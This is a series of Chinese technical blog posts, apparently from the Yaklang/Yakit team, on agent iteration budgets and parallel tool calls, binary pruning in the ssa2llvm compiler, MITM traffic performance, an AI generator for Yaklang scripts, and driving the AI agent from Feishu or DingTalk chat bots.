我们引入了一个新的计数器 effectiveIterationCount，和原始的 iterationCount 并行运行。判定标准很简单：


func(r *ReActLoop) advanceEffectiveIteration(task aicommon.AIStatefulTask, delta *aicommon.TodoDelta) {

    scope := aicommon.BuildVerificationTodoScope(task)

    hasActiveTodo := false

    if r.config != nil {

        active := r.config.ActiveVerificationTodoItemsByScope(scope)

        hasActiveTodo = len(active) > 0

    }

    progressed := delta != nil && delta.HasChanges()

    if !hasActiveTodo || progressed {

        r.effectiveIterationCount++

    }

}

一轮算不算有效，取决于两个条件：

1.本轮的 action 携带了 todo_delta 且有实际变更（新增、完成或切换了 TODO）→ 有效

2.当前没有活跃的 TODO（处于规划或侦察阶段，还没有拆解出具体任务）→ 有效

反过来，如果当前有活跃的 TODO 但本轮没有 todo_delta 变更，这就是一个空转轮——不计入 effectiveIterationCount。

YAK

4.3 只改判断标准，不改其他逻辑

一个重要的细节是：原始的 iterationCount 并没有被删除。它仍然用于 prompt 构建、goal-mode 门控、timeline、心跳等所有需要"第几轮"信息的地方。改动只影响迭代上限的判断：


// 改动前：原始循环圈数

if iterationCount > maxIterations {

    // 到达上限，退出

}

// 改动后：有效推进轮数

if r.effectiveIterationCount > maxIterations {

    // 到达上限，退出

}

这样空转轮不再消耗迭代预算。同样是 maxIterations=20，现在 Agent 可以经历 30 轮甚至 40 轮的循环，只要其中有 20 轮是真正推进了 TODO 的，就不会被提前截断。

YAK

4.4 效果

这个改动的影响不是"快了多少毫秒"，而是"能不能完成任务"。之前可能跑 20 轮就因为空转耗尽预算而退出，现在同样的预算能覆盖更多的实际工作量。对于需要频繁试探、澄清、重试的安全测试场景，这意味着 Agent 不会在中途因为"轮次用完"而放弃未完成的任务。

五、主循环轮次：Action 数组并发工具调用

前面三块分别优化了构建 Prompt、调用 LLM 和迭代预算，但回头看"执行工具"这一步，还有一个更根本的效率瓶颈——不是算得慢，不是调得多了，而是明明可以一次做完的事，非要拆成好几轮。

ReAct Agent 原来的规则是：一轮迭代输出一个 Action，一个 Action 只表达一个工具调用。这意味着即使 AI 已经明确知道要读 3 个互不相关的文件，也必须串行跑 3 轮：

这带来四类成本：用户等待时间变长（独立 I/O 被人为串行化）、模型调用次数增加（每个工具之间都多一次主循环决策）、上下文噪声增加（每轮都要重新携带完整 Prompt 和 Timeline）、业务吞吐下降（文件读取、独立搜索无法利用天然并行性）。

YAK

5.1 让一个 Action 承载多个独立调用

核心改动：在原有 Action 协议上增加数组字段 directly_call_tool_calls（参数已知）和 tool_require_calls（参数待生成），让 AI 在一轮里声明 2-8 个独立调用，运行时真正并发执行。


{

  "@action": "directly_call_tool",

  "identifier": "parallel_project_reads",

  "directly_call_tool_calls": [

    {

      "tool_name": "read_file",

      "params": {"path": "/workspace/go.mod"},

      "identifier": "read_go_mod"

    },

    {

      "tool_name": "read_file",

      "params": {"path": "/workspace/README.md"},

      "identifier": "read_readme"

    }

  ]

}

改造后的流程：

YAK

5.2 并发执行的内部机制

运行时收到一个 batch 后，为每个 child call 创建独立的 ToolCaller 管线，通过信号量门（semaphore gate）控制并发度，用 barrier 保证所有 child 都 settled 后才进入下一轮：

YAK

5.3 对速度的影响

这个改动对速度的影响是多层面的：

1.减少主循环轮次：3 个独立读取从 3 轮变 1 轮，少 2 次 LLM call + 2 次 prompt 构建

2. I/O 并行：3 个文件读取同时进行，墙钟时间从 3 倍变 1 倍

3.上下文更紧凑：少 2 轮中间结果进 Timeline，后续每轮 prompt 更短

4.减少后续开销：少几轮迭代意味着少几次 prompt 构建和 LLM 调用

Prompt 层面也做了配套：frozen-block 段的工具调用模式说明里增加了并发批次的决策指导，教 AI "已有 2-8 个无依赖调用时优先走并发批次，不得仅为沿用单工具而拆成多轮"。

六、四个优化的关系

这四个优化分别作用于 Agent 运行的不同环节，但彼此有协同：

Observation 异步化解决的是单轮的墙钟时间——把不参与 AI 调用的计算挪到异步
移除无用调用与降频解决的是 LLM 调用次数——移除无用的、降低高频的
有效迭代重定义解决的是迭代预算——空转轮不计入有效迭代，Agent 不会因为试错和澄清消耗掉全部预算
并发工具调用解决的是主循环轮次——该并行的并行，不为独立操作浪费轮次

并发工具调用会同时放大前两个优化的效果：更少的轮次意味着更少的 prompt 构建（Observation 异步化省的 235ms×N）、更少的 LLM 调用（降频省的调用次数×N）。这是做性能优化时常见的现象——你以为是在优化一个点，实际打通了几条线的联动。

七、写在最后

做 Agent 性能优化和做传统软件性能优化不太一样。传统优化看的是 CPU Profile、内存分配、锁竞争；Agent 优化看的是 LLM 调用次数、prompt 稳定性、token 预算、I/O 并行度。最大的开销不在机器侧，而在模型侧。

这篇文章里的四个方向的优化，没有一个是什么高深的算法。它们的核心都是同一件事：搞清楚什么东西是真正需要的，然后去掉不需要的。

observation 不参与 AI 调用？异步。

SearchMemory 结果没人用？删掉。

空转轮和推进轮平等计费？分开计数。

3个独立读取非要串行3轮？让它并行。

END

YAK官方资源

Yakit官网下载地址：

Github地址：

Yakit 视频教程：

Memfit下载地址：

IRify下载地址：

SSA2LLVM 编译产物大小优化

Fri, 14 Aug 2026 16:26:00 +0800

原创 YAK 2026-08-14 16:26 湖南

告别巨型二进制：基于档位分仓与ELF切段的运行时精准精简方案

一个 hello world 为什么是 110MB？—— 我们怎么把它缩到 8MB

这是 yaklang 的 AOT 编译器 ssa2llvm 的一次真实二进制剪裁实践。

YAK

1. 问题：hello world 凭什么 110MB？

1.1 一个"什么都不依赖"的编译器

ssa2llvm 干的事情很简单：把 yak 脚本编译成原生可执行文件。

但它有一个硬性目标：用户机器上什么都不用装。不需要 Go 工具链，不需要 clang，不需要链接器。代码生成、编译、链接全部在编译器内部完成，运行时也提前打包在编译器里。对用户来说就是拿一个文件，跑一下，脚本就变成可执行程序了。

听起来很美好。代价是什么？

1.2 一个绕不开的矛盾

yak 脚本什么都有可能写：可能只是 print，可能要用 http 发请求，可能要用 ssa 做代码分析。

编译器没法预知用户会写什么，所以内置的运行时必须什么都包含。但任何一个具体脚本只会用到其中很小一部分——hello world 甚至一个模块都不用。

一开始没有任何处理，结果就是：一个只打印 "hello" 的程序，把整套运行时原封不动地带了进去，编译出来109.77 MB。

1.3 大头不是代码，是"函数档案"

更反直觉的是：这 110MB 里，真正的机器码只占一小部分，大头是元数据——Go 语言为了保证运行时功能（GC、panic 堆栈、反射），会为每一个函数保留一份"档案"。

整套运行时里大约有17 万个函数，其中 60.7% 属于 TypeScript、PHP、Java 等语言前端。也就是说，一个什么都不做的 hello world，却要带着 17 万份函数档案出门，六成还是他根本用不到的语言解析器。

这就是原始问题：不是"代码太多"，而是"为了能编译任意脚本，必须把整个yaklang标准库都背着"。

YAK

2. 四条候选优化路线

从原始问题出发，我们认真想过四条路。

路线 A：让 Go 自己删——最理想，但时机不对

Go 链接器有非常完整的死代码消除：从程序入口出发，沿引用关系把所有"活着"的函数标记出来，其余整体丢掉，而且删函数的时候会连元数据一起删。

但它只在编译运行时库的时候生效。而 ssa2llvm 不能依赖编译环境，运行时标准库必须在发版时预构建好；用户编译脚本时，我们手里只有一个全量的 archive。决定"哪些模块进 archive"必须在发版时做完，编译脚本时只能在既成的 archive 上做减法。

路线 B：拆成小包，用哪个链哪个——被 Go 的运行时硬阻断

这是 C 世界的常规操作：一个大库拆成很多小库，链接时只放需要的那些。

但 Go 的 c-archive 不行：每一份都自带一整套 Go 运行时——各自的 `runtime.main`、各自的 pclntab、各自的模块数据。两份放进同一个链接命令，重复符号直接失败，两份运行时，GC 和堆栈全部错乱。

路线 C：预构建几个大档位——可行，但只能分大块

既然不能拼小包，那就只能"一个组合一份完整 archive"。可模块的任意组合是巨大的，这个表根本列不出来。

所以可行的只有少数几个固定档位，比如纯计算、网络、代码分析各一档。当然档位拆分成大块，必然出现"某个脚本只多用了一个模块，却要跳到大一档"的浪费。

路线 D：链接期删除——可行，但 Go 不给下刀的地方

既然 archive 是既成的，那就在链接时把用不到的模块代码删掉。链接器确实有"垃圾回收"（`--gc-sections`），但它有个前提：代码必须被切成足够小的段。而 Go 的 c-archive 把所有代码放在一个巨大的段里，要么全留、要么全丢。

所以我们得先自己改造 archive，让链接器有地方下刀（这就是后面的 elfsplit）。

我们的选择：C + D，两层正交

档位（C）决定"这份 archive 里总共有多少元数据"——让 Go 链接器在发版时就把不要的模块连元数据一起删掉；

链接期删除（D）决定"档内剩下的代码有多少能进产物"——回收档位粒度不足造成的浪费。

两者互不重叠，可以叠加。

YAK

3. 分块 yaklib core/net/staticanalyze

3.1 先量化：哪些模块真的"大"

我们先把完整 yaklib 的代码按模块拆开，量了一下每个模块节的真实大小：

模块节	大小
`.modtext.ssafront`	12,454,500 B（11.88 MiB）
`.modtext.sharednet`	9,018,202 B（8.60 MiB）
`.modtext.ssa`	2,951,716 B（2.82 MiB）
`.modtext.shared`	1,031,361 B（0.98 MiB）
`.modtext.cli`	30,330 B
`.modtext.http`	25,118 B
`.modtext.yakit`	2,075 B
`.modtext.os`	52 B
`.modtext.poc`	52 B
`.modtext.codec`	52 B

结论很直接：真正的大块只有四个——语言前端（ssafront，11.88 MiB）、网络/数据库公共闭包（sharednet，8.60 MiB）、SSA 静态分析（ssa，2.82 MiB）和公共核心（shared，0.98 MiB）。`os`/`poc`/`codec` 各只有 52 字节，那只是注册函数，真正实现都在公共闭包里。

3.2 用依赖数据分档，不拍脑袋

怎么决定哪些模块放一起？我们跑了 `go list -deps`，看每个包被哪些模块闭包引用——同生共死的包天然应该待在一起。按依赖自然聚合成三档：

档位	包含模块	archive 大小
`core`	os / codec / yakit（纯计算）	13 MB
`net`	core + cli / poc / http	72 MB
`staticanalyze`	syntaxflow + ssa（含语言前端）	220 MB

3.3 编译时自动选最小可用档

编译器根据脚本实际用到的模块，自动选最小可用档：纯计算脚本落在 core，用到网络落在 net，需要代码分析才上 staticanalyze。构建每一档 archive 时，不在模块列表里的代码和元数据，会被链接器一起删干净。

YAK

4. 链接期删除：--gc-sections 和elfsplit

4.1 --gc-sections 是什么

链接器的"垃圾回收"：从程序入口出发，沿着引用关系把所有"活着"的代码和数据标记出来，没被标记的整段丢弃。前提是代码被切成足够小的段，段越细，回收越精细。

4.2 Go c-archive 的尴尬

Go 编译出来的 c-archive，把所有代码放在一个巨大的 `.text` 段里。对 `--gc-sections` 来说，这个段要么全留、要么全丢——不是链接器不努力，是代码根本没有给它下刀的地方。

4.3 elfsplit：把一整块板子切成拼图

我们自己写了一个工具（elfsplit），在构建 archive 时把里面的 ELF 重新切一遍：

遍历符号表，把每个函数按它归属的模块分类；

2. 把每个模块的代码物理搬进独立的段（`.modtext.<模块>`）；

把对应的重定位信息也一起搬过去。

切完之后，--gc-sections 就能按模块粒度整段删除没用的代码——脚本没用 ssa，整个 .modtext.ssa 连带语言前端一起扔掉。

4.4 删完之后，要修 Go 的数据

二进制不能"删了就跑"，Go 运行时对自己内部结构有严格要求：

初始化任务：被删模块的 init 任务要标记为"已完成"，否则运行时启动时会去找一个不存在的初始化函数；

哑函数：从保留代码指向被删代码的调用，要重定向到"一调用就报错"的占位函数——宁可带着路径报错，也不能静默返回错误结果；

代码段映射表：Go 运行时内部有一张"代码段在哪"的映射表，代码搬过家之后必须同步更新，否则程序一跑就崩；

可选的符号折叠：函数名是元数据里的一大块，折叠掉还能再省约 15MB，代价是 panic 堆栈里看不到函数名（行号还在），默认关闭。

4.5 代码在哪里

想看的同学可以直接去 yaklang 仓库翻：

common/yak/ssa2llvm/cmd/elfsplit/——ELF 拆节工具（切段、搬重定位、pclntab 折叠）
common/yak/ssa2llvm/runtime/patch/——链接期运行时修补（重定位中和、init 标记、textsectmap 修复）
common/yak/ssa2llvm/compiler/——自包含编译/链接入口（linker_selfcontained.go、compile_dispatch_selfcontained.go）
common/yak/ssa2llvm/runtime/tiers/——档位定义与自动选择
common/yak/ssa2llvm/scripts/build_yaklib.sh、build_tiers.sh——运行时与档位构建
common/yak/ssa2llvm/tests/artifact_pruning_test.go——裁剪回归测试（行为 + 体积 + ELF 节三重证据）
common/yak/ssa2llvm/docs/article-link-time-pruning.md——完整技术版文章

YAK

5.效果

5.1 同一个 hello world 的对比

同样一份 print("hello") 代码，我们量了两种状态：只分块（不做链接删除）和分块 + 链接删除：

档位	只分块、不删减	分块 + 链接删除
全量（原始运行时）	109.77 MiB	84.62 MiB
staticanalyze（=全量档）	109.77 MiB	84.62 MiB
net（网络档）	37.28 MiB	28.73 MiB
core（纯计算档）	8.10 MiB	7.87 MiB

第一行是"什么都没做"的原始基线；staticanalyze 档就是全量档，分块本身对它没有收益，收益在更小的两档。net 档单靠分块就从 109.77 MiB 降到 37.28 MiB，core 档再降到 8.10 MiB；叠加链接删除后分别是 28.73 MiB 和 7.87 MiB。

5.2 不同脚本的实际效果

脚本	选中档	原（单一全量档）	现在
`println("hello")`	core	84.62 MiB	7.87 MiB
`codec.EncodeBase64`	core	85.62 MiB	8.10 MiB
`http.Get`	net	94.50 MiB	37.28 MiB

同一档内链接删除依然在干活：net 档上 hello world 是 28.73 MiB，`http.Get` 是 37.28 MiB——差的8.55 MiB 正是链接期删除在档内又删掉的模块代码。

两层叠加：hello world 从原始 109.77 MiB 到 7.87 MiB（−92.8%），其中分块贡献了大头，链接删除在档内继续抠。

YAK

6. 总结

档位负责元数据，链接期删除负责代码，两者正交、叠加使用；

档位是量级上的改变——它让"删代码的那个工具"在发版时就顺手把元数据也删了；
链接期删除负责回收档位粒度不足造成的浪费；
下一步：给更多模块补轻量导出表，让更多脚本能落进 core 档

END

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

Memfit下载地址：

IRify下载地址：

更跟手，也更稳：Yakit MITM 与历史流量性能优化

Fri, 07 Aug 2026 17:18:00 +0800

原创 YAK 2026-08-07 17:18 湖南

全链路提速 MITM 抓包，优化延迟、卡顿与内存占用

在使用浏览器、Nuclei 等工具通过 MITM 代理产生大量流量时，一些用户遇到过这样的情况：

浏览器已经完成访问，Yakit 中的流量却要过一会儿才出现；并发一高，流量列表增长缓慢，CPU 占用升高，停止抓取后也需要较长时间才能恢复，最后导致使用的时候感觉页面卡卡的，很不跟手。

本周，我们围绕这条链路，对 Yakit 前端与 Yaklang 后端进行了一轮完整的性能专项优化。

优化覆盖了流量产生、数据包处理、数据库写入、实时通知、Electron IPC、React 列表更新和虚拟滚动等完整链路。

一、从“定时查询”转向“实时推送”

过去，Yakit 的 MITM 流量列表主要依赖通知后再查询数据库。

在流量较少时，这种方式没有明显问题；但当浏览器或扫描器持续产生大量请求时，前端查询速度可能追不上后端写入速度，于是就会出现：

浏览器已经访问完成，流量过几秒才显示；
流量数量长时间不变，随后一次增加几十或几百条；
数据库已经写入，但前端列表仍然存在积压。

现在，Yaklang 会通过专用的 HTTPFlow 订阅流，直接向 Yakit 推送不包含完整数据包正文的轻量级流量摘要。Yakit 可以先更新列表，用户点击某条流量时，再按 ID 加载完整请求和响应。

YAK

端到端体验：更早看到流量，积压更少

下面是一组固定速率测试结果。测试连续产生 1,000 个请求，速率为 200 请求/秒、并发数为 16、响应大小为 4 KiB；优化前后使用相同代码指纹和测试配置，每组连续运行 3 次。

指标	查询刷新模式	实时订阅模式	变化
请求产生 → React 展示 P95	970 ms	490 ms	↓ 49.5%
第一条流量可见时间	117 ms	42 ms	↓ 64.1%
最大可见流量积压	193 条	36 条	↓ 81.3%
Electron CPU P95	8.4%	6.3%	↓ 24.9%
Yak 峰值工作集	613.3 MiB	558.2 MiB	↓ 9.0%
实际吞吐	200.1 req/s	200.1 req/s	基本持平

P95 可以简单理解为：95% 的流量能够在这个时间以内完成展示。

在这组测试中，系统并没有通过降低流量处理速度来换取界面流畅度：前后两种模式都维持了约 200.1 请求/秒的实际吞吐。变化主要来自实时链路缩短，以及页面不再频繁执行不必要的完整查询。

二、前端刷新进一步提速

实时推送解决了“什么时候知道有新流量”的问题，但流量到达前端后，如何合并、批量提交并触发 React 渲染，同样会影响使用体验。

我们进一步调整了前端批处理节奏，并减少了重复的数组合并、去重和整表刷新。

在一组相同配置的对比中：

指标	优化前	优化后	变化
请求 → React 展示	约 497 ms	约 120 ms	约 ↓ 75.9%
响应 → React 展示	约 494 ms	约 110 ms	约 ↓ 77.7%
最大可见积压	21 条	9 条	↓ 57.1%
Long Task 总时长	155 ms	0 ms	明显改善

这一阶段把持续流量的前端刷新间隔从 500 ms 缩短到 100 ms。

代价是 Electron 的绝对 CPU 占用有小幅上升，但换来了大约 4 倍的列表响应速度。我们最终选择了更偏向“跟手感”的配置，同时通过批量更新和虚拟列表控制资源消耗。

三、Yaklang 后端减少数据包分配

MITM 的另一个性能大头，是请求和响应在解析、修改、存储过程中产生的大量内存复制。

后端优化重点包括：

复用已经解析过的请求和响应；
减少数据包在不同处理阶段之间的重复复制；
避免为了统计参数而重新解析完整请求；
优化大请求、大响应和压缩响应的缓冲区生命周期；
降低数据库报文编码过程中的临时分配；
保持现有数据库格式、插件接口和报文修改语义不变。

四、大数据包场景：减少无效复制和内存分配

内存分配指标	优化前	优化后	降幅
整个采样窗口累计分配	185.0 MB	113.9 MB	↓ 38.5%
数据包扩容相关分配	96.2 MB	60.7 MB	↓ 36.9%
数据库存储编码相关分配	51.6 MB	6.8 MB	↓ 86.8%
单条 Flow 处理分配	857 KB	513 KB	↓ 40.1%

以上数字是测试窗口中的累计内存分配量，不等同于任务管理器中的常驻内存。减少累计分配可以降低 GC 压力，并改善持续高并发场景下的稳定性。

五、不只是跑分，也补齐了自动化验证

性能优化如果只看一次跑分，很容易掩盖丢流量、顺序错误或停止后无法排空的问题。

因此，这次我们同时建设了 Electron 端到端自动化测试，覆盖：

浏览器式突发流量；
100 URL 批量访问；
固定速率持续流量；
慢消费者与积压恢复；
64 KiB 请求与 256 KiB 响应；
压缩响应；
MITM 重置；
History 与 MITM 页面切换；
虚拟列表滚动、预加载和状态恢复；
连接中断后的重连与补偿。

在正式对比样本中，生产、代理、数据库和前端最终展示的流量数量保持一致，最终积压为 0，并且没有出现重复、乱序或无法恢复的流量事件。

六、兼容性保持不变

本轮优化没有要求用户迁移数据库，也没有破坏现有 protobuf、插件接口或 HTTPFlow 数据格式。

性能优化不是单纯让某个数字更好看，而是让抓包、滚动、切换和停止任务时的每一次操作都更快、更稳、更符合直觉。

欢迎大家继续反馈真实使用中的高并发和大流量场景，我们会持续完善 Yakit 与 Yaklang 的性能体验。

END

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

Memfit下载地址：

IRify下载地址：

Yak Runner AI改造：我们教会了AI使用Yaklang编程！

Fri, 31 Jul 2026 16:38:00 +0800

原创 YAK 2026-07-31 16:38 湖南

深度解析 Yakit 内置 Yaklang 脚本生成系统

一、它是什么

Yak Runner AI 是嵌在 Yakit Yak Runner 里的 Yaklang 脚本助手。产品侧对应专注模式Yaklang 代码生成（引擎名 write_yaklang_code）。

日常用法很直接：打开或新建 .yak，用自然语言说需求；AI 检索样例与文档，把代码写进编辑器，语法不过就继续改，热加载类脚本还会自动跑 YAK_MAIN 自测。

它不是通用聊天写代码的套壳，差异主要在三点：

1.不确定 API 时查样例 / 文档，而不是按 Go/Python 习惯瞎猜

2.改动通过 yaklang_code_change 事件同步进 Runner，而不是只丢聊天框代码块

3.写完有静态检查门禁，符合策略时还有运行自检门禁

二、整体架构

数据流一句话：

UI 把任务和附件交给引擎 → 专注模式多轮改代码 → 每次提交先过语法 → 语法干净后再按脚本类型决定是否自测 → 按交付目标用不同 op 把结果推回编辑器。

三、标准工作流

引擎侧固定顺序（前端每步都有可见反馈）：

步骤	做什么	关键动作 / 机制
1. 选库	把需求映射到 2–4 个标准库	Init 预检索 / 库索引
2. 搜样例	按库与关键词找真实代码	`grep_yaklang_samples` / `semantic_search_yaklang_samples`
3. 查文档	不确定签名时查 yakdoc	`yakdoc_*`
4. 写/改代码	新建整文件或增量修改	`write_code` / `modify_code` / `insert_code` / `delete_code`
5. 语法验证	静态分析，有 Error 则不允许收尾	`checkCodeAndFormatErrors`
6. 运行自检	语法通过后按脚本类型策略执行	`PostSyntaxCleanHook` → `RunYakSelfTest`
7. 收尾	中文阶段总结	finalize

原则补充：

禁止反复反问用户。业务有多种合理实现时，选通用默认直接写，可调项放进 __DESC__ / cli。
API 不确定就查，不要猜。查的是样例库和 yakdoc，不是问用户。
已有代码优先 modify_code（Cursor 风格 Patch），尽量不要 write_code 整文件重置。

四、附件协议

前端通过 AttachedResourceInfo 传入上下文，常见包括：

资源	作用
`file_path` / 当前编辑器文件	决定「改哪份文件」；有编辑器目标时优先replace 系交付
`directory_path`	工作目录； alone 时常走预览/新建
`selected`（选区 JSON）	告诉模型关注哪一段
其他 file / 文本附件	作为附加上下文写入 timeline

我们可以框选代码后右键选择 发送到AI会话，把指定代码片段作为附件发送给对话框

没有挂编辑器文件、也没有明确落盘路径时，系统会在 ~/yakit-projects/code/ 下分配 gen_code_*.yak然后生成一份同名的未保存文件到工作区。

五、代码生成策略：create / patch / replace

Create：中间静默，结束一次 create。

避免新建文件时每一轮修改都弹一次「新文件事件」。过程中 full_code 仍在引擎里演进，只是不推中间 yaklang_code_change。

Replace：过程中每次修改都会触发，主要用于大段代码重构。

磁盘上每次都会写成完整代码片段。
若内容与上次已推送相同，或本轮没有任何 committed 编辑（仅 seed），则跳过 flush，避免重复刷屏。

Patch：小范围代码修改，使用patch格式精准匹配。

常用于语法错误修复和函数签名替换。

优先级规则：

1.有打开的编辑器文件 → 永远对准该文件，基准交付类型是 replace 系（过程中可发 patch，结束时可发 replace 终态）

2.已有 gen_code_*.yak 路径 → create

3.其他真实路径（用户点名的文件）→ replace

4.aispace 暂存或空路径 → 新建 gen_code_*.yak，create

六、代码验证（语法 / 静态分析）

每次 write_code / modify_code / insert_code / delete_code 把内容写入 full_code 后，会：

1.清空上一轮运行自检状态（代码变了，旧的「自测通过」作废）

2.对当前内容做 YaklangScriptChecking（静态分析）

3.有 Error级别问题时，会把格式化后的错误反馈给模型（其中包括错误类型和行号）

七、自检运行

引擎注入的全局布尔 YAK_MAIN 来进行调试运行。


func runSelfTest() {

    // 用 mock 字节流 / 固定字符串测 hook 或纯函数

    // 不要在自测里打真实外网

}

if YAK_MAIN {

    runSelfTest()

}

命令行 yak script.yak 执行 runSelfTest()。
Yakit 热加载窗口加载时只注册 hook，不会在加载时跑自测。（因此热加载脚本带自测块是安全的：贴回 Yakit 不会误跑自测）

Kind	典型特征	策略
`hook_hotpatch`	`beforeRequest` / `mirror` / `hijack` 等热加载钩子	必须有 `YAK_MAIN` + 自测；缺则阻断退出，要求 AI 补上
`codec_plugin`	`handle = func(...)` 右键 Codec	同上
`native_plugin`	`cli.check` + `runPlugin` / `runSelfTest`	缺 `YAK_MAIN` 守卫则阻断
`cli_tool`	顶层 `cli.check`，偏扫描/联网	默认不整脚本直跑（防挂起/误触网）；若像可测纯逻辑又无自测块，可要求补 `runSelfTest`
`pure_logic`	有 `runSelfTest`	必须有 `if YAK_MAIN` 守卫才会跑
其它	含 `YAK_MAIN`	否则跳过

八、代码审查

AI 写完代码后，Yak Runner 不会无条件把改动直接写进磁盘。用户可以在编辑器上方的审阅层里，对照 diff 逐块接受或拒绝，再决定是否落盘。这和「对话里只看 patch 文本」是两层能力。

位置	组件	作用
AI 对话卡片	`YakitInlinePatchDiff`	展示模型输出的 `*** Begin Patch` 文本（`+`/`-`/`
编辑器审阅层	`YakRunnerCasualCodeReplaceReviewOverlay`	覆盖在 Monaco 编辑器上，对比审阅基线 vs AI 提案，支持逐 hunk 接受/拒绝、全部接受、全部拒绝

审阅层把 reviewBaseline（左侧/旧）和 draftIncoming（右侧/新）拆成多个 hunk（computeCasualLineHunks），每个 hunk 可单独决策：

操作	行为	是否结束审阅
接受单个 hunk	将该 hunk 合并进 `reviewBaseline`，同步更新编辑器内存与 patch 工作草稿	否（继续审阅剩余 hunk）
拒绝单个 hunk	从 `draftIncoming` 中去掉该 hunk 的改动，保留基线内容	否
全部接受	所有 hunk 合并进基线，写入编辑器并落盘	是
全部拒绝	`draftIncoming` 回退为 `reviewBaseline`，不写 AI 改动	是

当所有 hunk 处理完毕（diff 为空）时，会自动完成审阅并落盘。部分采纳后若 AI 又推来新一轮 patch：

以最新已采纳的基线作为新的 diff 左栏；
syncYakRunnerPatchWorkingDraft 保证后续 patch 链式合并与编辑器内容一致，避免「编辑器已改、合并仍按旧基线」的错位。

九、当前的困境

经过我们的测试，目前的代码生成效果非常不稳定，有时候一轮迭代就可以通过语法检查与自检，有时候同样的模型，同样的提示词却需要迭代十多轮才能完成，这是因为目前我们的错误处理和迭代逻辑有效率问题，生成的效果往往取决于第一次生成的语法错误的多少。

Yak Runner AI 其实是在一个比较受限的情况下去教会一个 AI 使用陌生语言，我们仔细分析过 Cursor 在写 yak 代码时的处理模式：

Cursor 写 Yak 时，最大优势是随时读工程源码当补充信息：

当前打开的 .yak 全文
同目录其它脚本、你们自己的封装
@ 文件/文件夹，在整个仓库里搜用法

第二轮改代码，它对照的往往是：「你项目里真实怎么写的」，而不只是「文档里函数签名是什么」。

Yak Runner AI 的信息通道更窄，主要靠：

附件（当前文件 / 目录 / 选区）
样例库 grep / 语义搜索
yakdoc 查 API
对话 timeline 和上一轮编译/自测反馈

Yak Runner AI 的优势在 Yakit 安全工作流里，快速产出、迭代、审阅 Yaklang 脚本，尤其热加载和小工具。它的自检和调试能力可以直接对接现有的插件，MITM和Web fuzzer，接下来我们在提升Agent本身的能力的同时，会更加注重功能上的交互，做到从「能写」到「好用」。

END

YAK官方资源

Yak 语言官方教程：

Yakit 视频教程：

Github下载地址：

Yakit官网下载地址：

https://yaklang.com/products/download_and_install

Yakit安装文档：

Yakit使用文档：

Memfit下载地址：

IRify下载地址：

躺着也能搞安全？Memfit / Yakit AI支持接入飞书钉钉了！

Fri, 24 Jul 2026 13:52:00 +0800

YAK 2026-07-24 13:52 湖南

办公 IM 联动 Yakit/Memfit，远程驱动 AI 安全任务

大家日常肯定会遇到的场景：

你刚用 AI Agent 跑起一个扫描任务，结果得出门了。任务还在跑，但你只能等回来才能看结果。

Memfit /Yakit 最近加了一个IM 远程控制功能：在飞书或钉钉里给机器人发消息，就能直接驱动 AI Agent 执行安全任务，结果原样推回 IM。Memfit / Yakit 的操作都是一样的，本文以 Yakit 为例讲讲它怎么用。

一、IM 远程控制是什么？

简单说：Yakit 内置了一个常驻的IM Engine，它会连上你配置的飞书/钉钉机器人，把机器人收到的消息路由到两类处理：

斜杠命令（/help/new/scan...）：在本地直接处理，控制会话、模型、执行
普通文本：通过 gRPC 双向流喂给 AI Agent 执行，结果回发到 IM

你不需要装任何 App，不需要开电脑——只要你的 Yakit 引擎在跑，你在飞书群里 @机器人说一句「扫一下 10.0.0.1」，它就开始干活了。

二、怎么配起来？

远程控制功能，需要在登录后才能使用，登录完成后，可以看见用户头像右下角有一个手机的 icon，点击就可以打开移动端控制面板，首次进入会如下图。

这里演示我们选择飞书，扫码授权。

手机侧，会弹出创建飞书智能体，点击立即创建，就可以绑定成功，此时 yakit 也会提醒绑定成功，机器人会给你私聊发一张「Yak Agent 已连接」欢迎卡片，告诉你当前模型、回复模式、审批策略。

配置完成后，可以在 Yakit 中启用/停用机器人。

三、使用：/命令 or 直接说话

首次使用时，可以发送 /help 命令，查看机器人的主要入口和一些基础信息。

也可以直接发消息就行。所有非斜杠开头的消息都会原样喂给 AI Agent：

四、卡片交互：不只是文字

YAK

4.1 运行卡片（Managed Card）

每次 Agent 开始执行，机器人发一张「正在执行…」的卡片，带一个终止按钮。执行过程中卡片内容实时更新（节流 ~500ms 一次 patch），执行完卡片变成最终结果，终止按钮消失。

YAK

4.2 按钮带签名，防伪造

卡片按钮的回调带 HMAC 签名 token（cb.v1..），防止有人伪造按钮事件攻击你的 Agent。验签时还校验 RunID / ChatID / Action 上下文匹配 + 过期时间 + nonce 防重放（停止按钮是一次性消费的）。

YAK

4.3 钉钉怎么办？

钉钉的流失卡片需要二次配置，所以目前钉钉会自动降级为文本模式——每段输出发一条文本消息，没有 patch，没有按钮。但斜杠命令、/yes/no 确认这些都能用。

五、执行审批：敏感操作让你按一下

AI Agent 执行安全任务时，有些操作比较敏感（比如跑 exploit、写文件）。Yakit 提供三种审批策略：

策略	说明
manual（人工）	敏感动作暂停，等你在 IM 里 `/yes` 或点按钮确认
ai（协同 AI）	AI 自己判断风险，必要时转交人工
yolo（托管）-默认	全自动执行，不问人。仅 bot 所有者可开启

可以在 Yakit 的移动端控制面板中进行配置，默认使用 yolo 模式

manual 模式下，Agent 遇到敏感操作会发一张确认卡片：

你点「继续」或发 /yes，Agent 接着跑。点「拒绝」或发 /no，任务停止。

六、发图片也能用——附件 + Vision

你可以在 IM 里直接发图片或文件给 Agent。IM Engine 会：

1.调飞书/钉钉的文件下载 API 把附件拉到本地临时目录

2.路径塞进 AIInputEvent.AttachedResourceInfo（file/file_path）

3.Agent 自动识别图片走 vision 管线

七、群聊里用：@机器人才响应

在群聊里，默认策略是 must_at——必须 @机器人才会触发，避免每条群消息都惊动 Agent。私聊不受限制，发什么都响应。


群聊场景：

同事A：今天天气不错          ← 不触发

同事B：@YakBot 扫下内网      ← 触发！

你：@YakBot /status          ← 触发！

在 /config 里可以切换成allow_all（所有群消息都触发），但一般不建议——群太吵了。

八、会话管理：多轮上下文 + 历史恢复

YAK

8.1 多轮对话

每个 IM 会话按 (platform + chatID + senderID) 隔离，私聊一人一会话，群聊一聊一会话。上下文通过 persistentSessionId 映射到 AI Agent 的 TimelineSessionID，跨重启可恢复。

发 /new 清空上下文，开新对话。

YAK

8.2 浏览历史 + 恢复

